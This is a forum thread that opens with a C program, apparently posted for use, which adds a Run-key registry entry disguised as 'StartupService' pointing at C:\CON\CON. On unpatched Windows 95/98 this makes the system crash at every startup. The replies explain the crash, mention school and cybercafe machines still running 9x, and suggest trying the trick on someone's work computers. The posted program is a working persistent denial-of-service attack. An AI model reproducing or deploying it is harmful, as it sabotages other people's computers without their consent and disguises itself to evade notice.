Force Windows 95/98 to crash on startup

Code:

[color=blue]#include[/color] [COLOR="DarkRed"]<windows.h>[/COLOR]
[color=blue]int[/color] APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     [color=blue]int[/color]       nCmdShow)
{
 	BYTE Data[] =[COLOR="DarkRed"] "C:\\CON\\CON"[/COLOR];
	HKEY KeyHandle;
	RegOpenKey(HKEY_LOCAL_MACHINE,[COLOR="DarkRed"]"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"[/COLOR],&KeyHandle);
	RegSetValueEx(KeyHandle,[COLOR="DarkRed"]"StartupService"[/COLOR],NULL,REG_SZ,Data,11);
	[color=blue]return[/color] 0;
}

Okay if you don't know: Whenever an unpatched Windows 95 or 98 machine tries to access C:\CON\CON it takes the entire OS down.

I've added syntax coloring.

 

Basically, it disables a startup service?

 

No, it adds C:\CON\CON to the startup registry.

VFAT collapses whenever you try that on 95/98, which causes the whole OS to crash.

 

Don't you need admin access to get into the registry? Properly set permissions will foil this.

 

You put too much faith in the intelligence of average Windows 9x users.

 

No one uses Windows 9x anymore, unless you are trying this in a cybercafe in Goa or Bombay, where they still do use Windows 9x :O

 

Actually some of the teacher computers at my school run Windows 98. There are some people still using Windows 9x domestically too.

 

I run 98 on all my work computers, there more stable.

 

Try running C:\CON\CON on them and see if they've patched it already

 

IMO Windows 2000 is better and more stable, because it runs on NTFS.
